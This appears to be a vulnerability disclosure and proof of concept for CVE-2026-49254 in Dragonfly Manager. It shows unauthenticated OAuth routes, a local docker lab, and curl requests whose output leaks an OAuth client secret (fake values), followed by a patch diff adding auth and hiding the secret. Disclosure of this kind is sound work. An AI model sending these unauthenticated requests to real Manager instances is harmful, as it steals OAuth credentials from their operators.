Dragonfly Manager CVE-2026-49254

// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)

c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)

func (h *Handlers) GetOauth(ctx *gin.Context) {
	var params types.OauthParams
	if err := ctx.ShouldBindUri(&params); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	ctx.JSON(http.StatusOK, oauth)
}

func (h *Handlers) GetOauths(ctx *gin.Context) {
	var query types.GetOauthsQuery
	if err := ctx.ShouldBindQuery(&query); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	h.setPaginationDefault(&query.Page, &query.PerPage)
	oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
	ctx.JSON(http.StatusOK, oauth)
}

type Oauth struct {
	BaseModel
	Name         string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
	BIO          string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
	ClientID     string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
	ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
	RedirectURL  string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}

# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
#  has been registered via the authenticated POST /api/v1/oauth path.)

curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
   /Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).

cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
  redis:
    image: redis:6-alpine
    container_name: dragonfly-redis
    command: --requirepass dragonfly
  mysql:
    image: mariadb:10.6
    container_name: dragonfly-mysql
    environment:
      - MARIADB_USER=dragonfly
      - MARIADB_PASSWORD=dragonfly
      - MARIADB_DATABASE=manager
      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
  manager:
    image: dragonflyoss/manager:v2.4.3
    container_name: dragonfly-manager
    depends_on: [redis, mysql]
    restart: on-failure
    volumes:
      - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
    ports:
      - "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
  "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

curl -s -X POST http://localhost:18080/api/v1/oauth \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
       "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401

=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
    {
        "id": 1,
        "name": "github",
        "client_id": "FAKE_CLIENT_ID_abc123",
        "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
        "redirect_url": ""
    }
]

=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
    "id": 1,
    "name": "github",
    "client_id": "FAKE_CLIENT_ID_abc123",
    "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
    "redirect_url": ""
}

--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
-    oa := apiv1.Group("/oauth")
-    oa.POST("",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)
-    oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
-    oa.PATCH(":id",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
-    oa.GET(":id", h.GetOauth)
-    oa.GET("",    h.GetOauths)
+    oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+    oa.POST("",      h.CreateOauth)
+    oa.DELETE(":id", h.DestroyOauth)
+    oa.PATCH(":id",  h.UpdateOauth)
+    oa.GET(":id",    h.GetOauth)
+    oa.GET("",       h.GetOauths)

--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
-    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`